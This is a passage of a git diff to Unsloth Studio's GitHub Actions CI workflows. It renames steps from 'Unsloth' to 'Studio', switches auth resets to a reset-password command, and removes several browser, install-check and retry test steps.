secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -97,7 +96,7 @@ jobs: - name: Assert llama.cpp loads on this macOS run: bash .github/scripts/assert-llama-loads.sh - - name: Install Playwright browsers + - name: Install Playwright + Chromium # No --with-deps on Mac: that flag installs Linux apt packages. # GitHub-hosted macos-14 ships the system frameworks Chromium # needs already. @@ -113,7 +112,7 @@ jobs: # in-script retry recover from any residual flakes. run: | pip install 'playwright>=1.55,<1.58' - python -m playwright install chromium webkit + python -m playwright install chromium - name: Patch Playwright pipeTransport.js to tolerate malformed JSON # In Playwright 1.55-1.58, pipeTransport.js does @@ -144,10 +143,9 @@ jobs: print(f"pipeTransport.js: patched JSON.parse calls in {path}") PY - - name: Reset auth + boot Unsloth + - name: Reset auth + boot Studio run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -190,8 +188,8 @@ jobs: # dies mid-test, (2) Chromium net::ERR_NO_BUFFER_SPACE when the # runner's kernel briefly runs out of socket buffers, and (3) a # goto 'interrupted by another navigation' when the SPA auth - # guard redirects mid-navigation. The retry FULLY resets Unsloth - # (kill, wipe auth, reboot, wait /api/health, re-export + # guard redirects mid-navigation. The retry FULLY resets Studio + # (kill, reset-password, reboot, wait /api/health, re-export # bootstrap pw) before re-running the script. A real test failure # (assertion / timeout) does NOT match any pattern so it bypasses # retry and surfaces immediately. @@ -211,10 +209,10 @@ jobs: || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_attempt_${attempt}.log \ || grep -q "interrupted by another navigation" logs/playwright_attempt_${attempt}.log; } \ && [ "$attempt" -lt "$max_attempts" ]; then - echo "::warning::Playwright flake on attempt ${attempt}; resetting Unsloth and retrying..." + echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..." kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > "logs/studio_retry_${attempt}.log" 2>&1 & STUDIO_PID=$! @@ -240,19 +238,15 @@ jobs: exit "$rc" done - - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders) + - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders) if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 - - name: Cross-browser permission controls + - name: Reset auth + boot Studio for extra UI tests (port 18897) run: | - bash .github/scripts/run-studio-permission-browser.sh 18895 webkit - - - name: Reset auth + boot Unsloth for extra UI tests (port 18897) - run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \ > logs/studio_extra.log 2>&1 & @@ -277,7 +271,7 @@ jobs: echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV" echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV" - - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright + - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright env: BASE_URL: http://127.0.0.1:18897 STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }} @@ -306,10 +300,10 @@ jobs: || grep -q "ERR_NO_BUFFER_SPACE" logs/playwright_extra_attempt_${attempt}.log \ || grep -q "interrupted by another navigation" logs/playwright_extra_attempt_${attempt}.log; } \ && [ "$attempt" -lt "$max_attempts" ]; then - echo "::warning::Playwright flake on attempt ${attempt}; resetting Unsloth and retrying..." + echo "::warning::Playwright flake on attempt ${attempt}; resetting Studio and retrying..." kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true sleep 2 - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \ > "logs/studio_extra_retry_${attempt}.log" 2>&1 & STUDIO_EXTRA_PID=$! @@ -333,7 +327,7 @@ jobs: exit "$rc" done - - name: Stop second Unsloth + - name: Stop second Studio if: always() run: | kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true @@ -349,7 +343,5 @@ jobs: logs/studio_extra.log logs/install.log logs/playwright - logs/playwright-permissions-* logs/playwright_extra - logs/studio-permissions-*.log retention-days: 7 diff --git a/.github/workflows/studio-mac-update-smoke.yml b/.github/workflows/studio-mac-update-smoke.yml index fe9880f3ca..d104306c7e 100644 --- a/.github/workflows/studio-mac-update-smoke.yml +++ b/.github/workflows/studio-mac-update-smoke.yml @@ -4,15 +4,15 @@ # Mac counterpart to studio-update-smoke.yml. Verifies that on a real # Apple Silicon (macos-14, M1) runner: # -# 1. install.sh --local --no-torch installs Unsloth AND auto-fetches +# 1. install.sh --local --no-torch installs Studio AND auto-fetches # the prebuilt llama.cpp Mac binary (llama-bNNNN-bin-macos-arm64 # from ggml-org/llama.cpp). Hitting the source-build fallback is -# treated as an Unsloth bug -- Unsloth must always pick the +# treated as an Unsloth bug -- Studio must always pick the # prebuilt on Mac. # 2. unsloth studio update --local is idempotent. Two consecutive # runs both report "prebuilt up to date and validated", no # source-build fallback. -# 3. The installed Unsloth still boots and /api/health returns +# 3. The installed Studio still boots and /api/health returns # healthy after the update path. name: Mac Studio Update CI @@ -42,7 +42,7 @@ permissions: jobs: update-idempotency: - name: Unsloth Updating Tests + name: Studio Updating Tests runs-on: macos-14 timeout-minutes: 30 steps: @@ -59,7 +59,7 @@ jobs: python-version: '3.12' cache: 'pip' - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -106,7 +106,7 @@ jobs: grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log echo "second update was clean" - - name: Boot Unsloth briefly to confirm the install is still usable + - name: Boot Studio briefly to confirm the install is still usable run: | mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \ @@ -123,13 +123,13 @@ jobs: sleep 1 done if [ -z "$HEALTHY" ]; then - echo "Unsloth failed to come up after \`update\`" + echo "Studio failed to come up after \`update\`" tail -200 logs/studio.log kill "$PID" 2>/dev/null || true exit 1 fi kill "$PID" 2>/dev/null || true - echo "post-update Unsloth /api/health OK" + echo "post-update Studio /api/health OK" - name: Uninstall and verify clean # Round-trip through scripts/uninstall.sh on real macOS. As a side diff --git a/.github/workflows/studio-tauri-smoke.yml b/.github/workflows/studio-tauri-smoke.yml index c6dad07f37..018857de68 100644 --- a/.github/workflows/studio-tauri-smoke.yml +++ b/.github/workflows/studio-tauri-smoke.yml @@ -12,7 +12,7 @@ # stay in release-desktop.yml (manual `workflow_dispatch`) because they need # code-signing secrets and ~30 min of runner time each. -name: Unsloth Tauri CI +name: Studio Tauri CI on: pull_request: @@ -91,16 +91,6 @@ jobs: npm run build test -f dist/index.html - # The crate carries ~100 unit tests (native_file_dialogs, preflight, - # install, desktop_auth, ...) that nothing ran until now: this workflow - # only ever built. Run them here, where the toolchain and the WebKit dev - # packages are already installed, so a broken assertion fails the PR - # instead of sitting unnoticed. `--no-fail-fast` reports every failing - # test in one run rather than stopping at the first. - - name: Rust unit tests (studio/src-tauri) - working-directory: studio/src-tauri - run: cargo test --no-fail-fast - - name: Tauri debug build (Linux, no bundle, no codesign) # `--debug` + `--no-bundle` keeps this lean: compiles the Rust crate, # confirms the frontend dist is wired into Tauri, but skips the AppImage diff --git a/.github/workflows/studio-ui-smoke.yml b/.github/workflows/studio-ui-smoke.yml index 3a0713f301..297a585430 100644 --- a/.github/workflows/studio-ui-smoke.yml +++ b/.github/workflows/studio-ui-smoke.yml @@ -1,8 +1,8 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# End-to-end Unsloth chat UI smoke via Playwright + Chromium against a -# headless Linux runner. Boots Unsloth with the smallest GGUF +# End-to-end Studio chat UI smoke via Playwright + Chromium against a +# headless Linux runner. Boots Studio with the smallest GGUF # (gemma-3-270m-it UD-Q4_K_XL, ~254 MiB), drives the actual frontend # bundle, and asserts the full bootstrap-password / change-password / # send-message / persist-on-reload journey works end to end. @@ -14,7 +14,7 @@ # frontend-only CI happily pass while the actual user-visible UI is # broken (cf. the 2026.5.1 chat-history release). -name: Unsloth UI CI +name: Studio UI CI on: pull_request: @@ -27,7 +27,6 @@ on: # The Playwright test files themselves -- a PR that ONLY edits # the test must still trigger UI CI. - 'tests/studio/**' - - '.github/scripts/run-studio-permission-browser.sh' - '.github/workflows/studio-ui-smoke.yml' push: branches: [main, pip] @@ -98,7 +97,7 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -108,15 +107,17 @@ jobs: set -o pipefail bash install.sh --local --no-torch 2>&1 | tee logs/install.log - - name: Install Playwright browsers + - name: Install Playwright + Chromium run: | pip install 'playwright>=1.45' - python -m playwright install --with-deps chromium firefox webkit + # --with-deps installs the OS-level runtime libs Chromium + # needs (libnss3, libxkbcommon, etc.). About 30 s on a + # warm runner. + python -m playwright install --with-deps chromium - - name: Reset auth + boot Unsloth + - name: Reset auth + boot Studio run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -146,7 +147,7 @@ jobs: # NEW + NEW2 are generated freshly per CI run via secrets.token_urlsafe # rather than hardcoded. If a workflow gets compromised, the # attacker can't replay a known-good rotated password against - # any future / parallel Unsloth install -- the rotated value + # any future / parallel Studio install -- the rotated value # only ever exists for the lifetime of this single job, masked # in the log via ::add-mask::. run: | @@ -164,37 +165,31 @@ jobs: env: BASE_URL: http://127.0.0.1:18892 # The test file lives in the repo so it can be run locally - # against a freshly-installed Unsloth (BASE_URL=...; STUDIO_OLD_PW= + # against a freshly-installed Studio (BASE_URL=...; STUDIO_OLD_PW= # $(cat ~/.unsloth/studio/auth/.bootstrap_password); python ...). PW_ART_DIR: logs/playwright # Strict mode: in CI a missing button / nav / dialog must # FAIL the test. Locally the test still runs against partial - # Unsloth installs without STUDIO_UI_STRICT. + # Studio installs without STUDIO_UI_STRICT. STUDIO_UI_STRICT: '1' run: | mkdir -p logs/playwright python tests/studio/playwright_chat_ui.py - - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders) + - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders) if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 - - name: Cross-browser permission controls - run: | - bash .github/scripts/run-studio-permission-browser.sh 18893 firefox - bash .github/scripts/run-studio-permission-browser.sh 18893 webkit - bash .github/scripts/run-studio-permission-browser.sh 18893 chromium chrome - # The chat UI test ends by clicking the Shutdown menuitem, which # leaves the server dead. The extra UI test (Compare / Recipes / - # Export / Unsloth / Settings) needs a fresh Unsloth, so we boot a + # Export / Studio / Settings) needs a fresh Studio, so we boot a # second one on a different port. Boot is fast (~3-5s on the # warm install we already did) so this adds little wall time. - - name: Reset auth + boot Unsloth for extra UI tests (port 18894) + - name: Reset auth + boot Studio for extra UI tests (port 18894) run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18894 \ > logs/studio_extra.log 2>&1 & @@ -219,7 +214,7 @@ jobs: echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV" echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV" - - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright + - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright env: BASE_URL: http://127.0.0.1:18894 STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }} @@ -232,75 +227,18 @@ jobs: mkdir -p logs/playwright_extra python tests/studio/playwright_extra_ui.py - - name: UI font size scaling regression (Playwright) - env: - BASE_URL: http://127.0.0.1:18894 - STUDIO_PW: ${{ env.STUDIO_EXTRA_NEW_PW }} - PW_ART_DIR: logs/playwright_fontscale - run: | - mkdir -p logs/playwright_fontscale - python tests/studio/playwright_ui_font_scale.py - - - name: Stop second Unsloth + - name: Stop second Studio if: always() run: | kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true sleep 2 - # Model-picker per-model-config regression (PR #7207 re-land of #6647). - # Fourth Unsloth on its own port; loads the tiny GGUF and drives the - # picker's run-settings surface: Context Length persists across a reload, - # Reset clears the stored override (never pins it), and the infra models - # (RAG embedder + llama.cpp probe) stay hidden from the picker. - - name: Reset auth + boot Unsloth for model-config tests (port 18898) - run: | - rm -rf ~/.unsloth/studio/auth - mkdir -p logs - UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18898 \ - > logs/studio_modelcfg.log 2>&1 & - echo "STUDIO_MODELCFG_PID=$!" >> "$GITHUB_ENV" - - - name: Wait for /api/health on 18898 - run: | - for i in $(seq 1 180); do - if curl -fs "http://127.0.0.1:18898/api/health" > /tmp/health4.json; then - jq -e '.status == "healthy"' /tmp/health4.json && break - fi - sleep 1 - done - jq -e '.status == "healthy"' /tmp/health4.json - - - name: Pass bootstrap pw for model-config test - run: | - NEW="CIModelCfg-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')" - echo "::add-mask::$NEW" - echo "STUDIO_MODELCFG_NEW_PW=$NEW" >> "$GITHUB_ENV" - - - name: Drive model-picker per-model-config with Playwright - env: - BASE_URL: http://127.0.0.1:18898 - STUDIO_NEW_PW: ${{ env.STUDIO_MODELCFG_NEW_PW }} - PW_ART_DIR: logs/playwright_modelcfg - STUDIO_UI_STRICT: '1' - GGUF_REPO: ${{ env.GGUF_REPO }} - GGUF_VARIANT: ${{ env.GGUF_VARIANT }} - STUDIO_MODEL_HINT: gemma-3-270m - run: | - mkdir -p logs/playwright_modelcfg - python tests/studio/playwright_model_config.py - - - name: Stop fourth Unsloth - if: always() - run: | - kill "${STUDIO_MODELCFG_PID}" 2>/dev/null || true - sleep 2 - # IME + multilingual paste regression (issue #5318 / PR #5327). - # Third Unsloth on its own port so a hang here cannot poison the + # Third Studio on its own port so a hang here cannot poison the # earlier UI tests. No GGUF -- the bug surface is the composer. - - name: Reset auth + boot Unsloth for IME / i18n tests (port 18896) + - name: Reset auth + boot Studio for IME / i18n tests (port 18896) run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18896 \ > logs/studio_ime.log 2>&1 & @@ -318,7 +256,7 @@ jobs: - name: Pass bootstrap pw for IME / i18n test # IME smoke does the change-password against the bootstrap that - # Unsloth's frontend injects into the page, so it only needs the + # Studio's frontend injects into the page, so it only needs the # NEW password. run: | NEW="CIIme-$(python -c 'import secrets; print(secrets.token_urlsafe(16))')" @@ -335,7 +273,7 @@ jobs: mkdir -p logs/playwright_ime python tests/studio/playwright_chat_ime_i18n.py - - name: Stop third Unsloth + - name: Stop third Studio if: always() run: | kill "${STUDIO_IME_PID}" 2>/dev/null || true @@ -355,15 +293,10 @@ jobs: path: | logs/studio.log logs/studio_extra.log - logs/studio_modelcfg.log logs/studio_ime.log logs/install.log logs/server-logs/ logs/playwright - logs/playwright-permissions-* logs/playwright_extra - logs/playwright_fontscale - logs/playwright_modelcfg logs/playwright_ime - logs/studio-permissions-*.log retention-days: 7 diff --git a/.github/workflows/studio-update-smoke.yml b/.github/workflows/studio-update-smoke.yml index 047840e41c..08a79afacd 100644 --- a/.github/workflows/studio-update-smoke.yml +++ b/.github/workflows/studio-update-smoke.yml @@ -9,7 +9,7 @@ # This catches regressions in setup.sh's update path that the existing # GGUF / wheel jobs would miss because they only invoke install.sh once. -name: Unsloth Update CI +name: Studio Update CI on: pull_request: @@ -36,7 +36,7 @@ permissions: jobs: update-idempotency: - name: Unsloth Updating Tests + name: Studio Updating Tests runs-on: ubuntu-latest timeout-minutes: 15 steps: @@ -63,7 +63,7 @@ jobs: # post-step then fatal-errors with "Cache folder path is # retrieved for pip but doesn't exist on disk". - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) # Pass the workflow token so the llama.cpp prebuilt installer's # GitHub-API call to list releases isn't rate-limited (60/hr # unauthenticated). Without this, three consecutive install + @@ -122,7 +122,7 @@ jobs: grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log echo "second update was clean" - - name: Boot Unsloth briefly to confirm the install is still usable + - name: Boot Studio briefly to confirm the install is still usable # If `update --local` accidentally broke the venv or wiped the # llama-server binary, the server would fail to start here. run: | @@ -138,53 +138,13 @@ jobs: sleep 1 done if ! jq -e '.status == "healthy"' /tmp/health.json 2>/dev/null; then - echo "Unsloth failed to come up after `update`" + echo "Studio failed to come up after `update`" tail -200 logs/studio.log kill "$PID" 2>/dev/null || true exit 1 fi kill "$PID" 2>/dev/null || true - echo "post-update Unsloth /api/health OK" - - - name: A complete install reports itself complete - run: | - set -o pipefail - unsloth studio verify-install - unsloth studio desktop-capabilities --json | tee /tmp/caps.json - jq -e '.studio_install_ok == true' /tmp/caps.json - jq -e '.desktop_manageability_version >= 2' /tmp/caps.json - - - name: An incomplete install must not report itself ready - # An installer killed part-way leaves a working CLI but no studio.txt - # deps, which the old preflight called ManagedReady. The manifest is - # written last, so removing it reproduces that state. - run: | - set -o pipefail - # install.sh's default root, resolved explicitly: `python` on PATH - # here is setup-python's, not the managed venv. - MANIFEST="$HOME/.unsloth/studio/unsloth_studio/unsloth_install_manifest.json" - test -f "$MANIFEST" || { echo "::error::installer never wrote $MANIFEST"; exit 1; } - rm -f "$MANIFEST" - unsloth studio desktop-capabilities --json | tee /tmp/caps_bad.json - jq -e '.studio_install_ok == false' /tmp/caps_bad.json - if unsloth studio verify-install; then - echo "::error::verify-install passed on an install with no manifest" - exit 1 - fi - echo "incomplete install correctly reported not-ready" - - - name: Update repairs an incomplete install - # `--local` bypasses setup.sh's PyPI version compare, so this asserts - # the repair OUTCOME. The non-local fast path the desktop Repair button - # uses is covered by tests/studio/install/test_setup_fast_path_guard.py. - env: - GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - set -o pipefail - unsloth studio update --local 2>&1 | tee logs/update_repair.log - unsloth studio verify-install - unsloth studio desktop-capabilities --json | jq -e '.studio_install_ok == true' - echo "update repaired the incomplete install" + echo "post-update Studio /api/health OK" - name: Uninstall and verify clean # Round-trip the installer through scripts/uninstall.sh: confirms the diff --git a/.github/workflows/studio-windows-api-smoke.yml b/.github/workflows/studio-windows-api-smoke.yml index b328939846..e9abd2d669 100644 --- a/.github/workflows/studio-windows-api-smoke.yml +++ b/.github/workflows/studio-windows-api-smoke.yml @@ -9,7 +9,7 @@ # (Section 6) is Linux-only and short-circuits on non-POSIX; the rest # is platform-portable. -name: Windows Unsloth API CI +name: Windows Studio API CI on: pull_request: @@ -34,7 +34,7 @@ permissions: jobs: api-smoke: - name: Unsloth API & Auth Tests + name: Studio API & Auth Tests runs-on: windows-latest timeout-minutes: 30 defaults: @@ -105,7 +105,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Unsloth boots with an empty dist directory. + # rebuild" and Studio boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -121,7 +121,7 @@ jobs: } } - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} @@ -161,7 +161,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Unsloth shim to GITHUB_PATH + - name: Add Studio shim to GITHUB_PATH # install.ps1's User-PATH update doesn't propagate to a # running Git Bash session; export the shim dir so the # next `unsloth ...` invocation finds it. @@ -177,10 +177,9 @@ jobs: - name: Install pyjwt for the JWT-expiry forge test run: python -m pip install 'pyjwt>=2.6' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -208,7 +207,7 @@ jobs: echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV" echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV" - - name: Run Unsloth API & Auth tests + - name: Run Studio API & Auth tests # Do NOT pin STUDIO_AUTH_DIR here. The Mac/Linux mirrors # hardcode runner-specific paths (/Users/runner/..., # /home/runner/...), but on Windows the path is @@ -220,7 +219,7 @@ jobs: BASE_URL: http://127.0.0.1:18895 run: python tests/studio/studio_api_smoke.py - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml index d821664327..08a0ee782d 100644 --- a/.github/workflows/studio-windows-inference-smoke.yml +++ b/.github/workflows/studio-windows-inference-smoke.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and +# Three end-to-end smoke jobs that boot a freshly-installed Studio and # exercise the surfaces real users hit through the OpenAI / Anthropic # SDKs and curl, on the FREE windows-latest runner. Each job picks the # smallest model that exercises the behaviour under test, primes @@ -16,7 +16,7 @@ # Qwen3-VL-2B-Instruct UD-IQ2_XXS + mmproj-F16 (~1.4 GiB total). # Within the 14 GB windows-latest SSD budget. -name: Windows Unsloth GGUF CI +name: Windows Studio GGUF CI on: pull_request: @@ -57,7 +57,7 @@ jobs: STUDIO_PORT: '18888' HF_HOME: ${{ github.workspace }}/hf-cache # Force UTF-8 for stdio (Windows defaults to cp1252; hf - # download / Unsloth CLI print "✓" checkmarks and crash + # download / Studio CLI print "✓" checkmarks and crash # otherwise). PYTHONIOENCODING: utf-8 PYTHONUTF8: '1' @@ -160,7 +160,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Unsloth boots with an empty dist directory. + # rebuild" and Studio boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -176,7 +176,7 @@ jobs: } } - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} @@ -214,7 +214,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Unsloth shim to GITHUB_PATH + - name: Add Studio shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then @@ -227,10 +227,9 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: python -m pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -245,7 +244,7 @@ jobs: fi sleep 1 done - echo "Unsloth did not become healthy in 180s" + echo "Studio did not become healthy in 180s" tail -200 logs/studio.log exit 1 @@ -282,7 +281,7 @@ jobs: # Retry the load step a few times so a transient TCP RST during # llama-server warm-up (Windows runner image churn, # windows-latest -> windows-2025-vs2026 rollout) doesn't fail - # the whole job. The Unsloth backend's _wait_for_health now + # the whole job. The Studio backend's _wait_for_health now # catches httpx.ReadError too; this retry layer covers the # cases the backend can't recover from on its own. LOAD_OK=0 @@ -383,15 +382,15 @@ jobs: print(f"[{label}] OK -- 4 turns, run1 == run2, history grounded") PY - - name: Stop Unsloth + - name: Stop Studio if: always() # Run as cmd so we are not running through the Git Bash shell; # Git Bash on windows-latest has been observed to exit 143 # (SIGTERM) from any inline kill/sleep block, masking a green - # test run. The runner reclaims the Unsloth child process at + # test run. The runner reclaims the Studio child process at # job end either way, so just emit a marker and exit 0. shell: cmd - run: echo Stop Unsloth (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) + run: echo Stop Studio (no-op; runner reclaims STUDIO_PID=%STUDIO_PID% at job end) - name: Collect llama-server logs if: always() @@ -399,10 +398,10 @@ jobs: # copy must not fail an otherwise-green job. continue-on-error: true shell: bash - # Copy llama-server's own stdout/stderr (teed by Unsloth under + # Copy llama-server's own stdout/stderr (teed by Studio under # ~/.unsloth/studio/logs/llama-server/) into the workspace so # upload-artifact can pick it up. Crucial for diagnosing a - # subprocess crash where Unsloth's traceback only shows the + # subprocess crash where Studio's traceback only shows the # symptom (httpx ReadError) but not the cause. run: | mkdir -p logs/llama-server @@ -440,14 +439,14 @@ jobs: # (211 s on first run; subsequent runs hit the cache, but the # one-time cost recurs every time the cache key bumps). Use # main's `--local-dir gguf-cache` pattern: cache the flat .gguf - # only, pass an absolute path to Unsloth's /api/inference/load. + # only, pass an absolute path to Studio's /api/inference/load. # The OpenAI/Anth and JSON+images jobs still cover the # gguf_variant resolution path. GGUF_REPO: unsloth/Qwen3.5-2B-GGUF GGUF_FILE: Qwen3.5-2B-UD-Q4_K_XL.gguf STUDIO_PORT: '18898' # Force UTF-8 for stdio (Windows defaults to cp1252; hf - # download / Unsloth CLI print "✓" checkmarks and crash + # download / Studio CLI print "✓" checkmarks and crash # otherwise). PYTHONIOENCODING: utf-8 PYTHONUTF8: '1' @@ -508,7 +507,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Unsloth boots with an empty dist directory. + # rebuild" and Studio boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -524,7 +523,7 @@ jobs: } } - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} @@ -562,7 +561,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Unsloth shim to GITHUB_PATH + - name: Add Studio shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then @@ -572,9 +571,9 @@ jobs: fi cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH" - - name: Reset auth + boot Unsloth (API-only, default tool policy) + - name: Reset auth + boot Studio (API-only, default tool policy) run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -608,7 +607,7 @@ jobs: # raw string, but we cannot embed `\a` etc. in JSON without # JSON-string-escaping every backslash. Replace `\` with `/` # via bash parameter expansion -- pathlib.Path on Windows - # accepts forward slashes natively, so Unsloth's loader sees + # accepts forward slashes natively, so Studio's loader sees # a normal path. GGUF_PATH="${GITHUB_WORKSPACE//\\//}/gguf-cache/${GGUF_FILE}" ls -lh "$GGUF_PATH" @@ -635,8 +634,6 @@ jobs: python - <<'PY' import json import os - import time - import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -659,41 +656,10 @@ jobs: "Content-Type": "application/json", }, ) - # Shared CI runners stall sporadically, so retry transport-level - # failures only; HTTP status errors surface immediately. Bounded - # to fit the job's timeout-minutes: short probes get 3 full - # attempts, long probes one retry capped at 300s (a healthy - # server answers a retry quickly; a stalled one never does). - attempts = 3 if timeout <= 300 else 2 - for attempt in range(attempts): - try: - t = timeout if attempt == 0 else min(timeout, 300) - with urllib.request.urlopen(req, timeout = t) as resp: - return resp.status, json.loads(resp.read().decode()) - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - if attempt == attempts - 1: - raise - print(f"[retry] {path}: {exc!r}", flush = True) - time.sleep(15) + with urllib.request.urlopen(req, timeout = timeout) as resp: + return resp.status, json.loads(resp.read().decode()) - def post_sse(path, body, *, timeout = 600, retries = 1, soft = False): - # The server-side agentic loop always answers over SSE. A - # shared CI runner can stall the stream transport (the - # connection opening, or a mid-stream read) even when Unsloth - # is healthy, so harden the read three ways: - # * retry a transport stall once with a fresh request, - # capped at 300s (a healthy server answers a retry - # quickly, a wedged one never does); - # * return any text already streamed before a stall, so a - # stall on the trailing tokens -- after the answer - # arrived -- still counts; - # * when every attempt 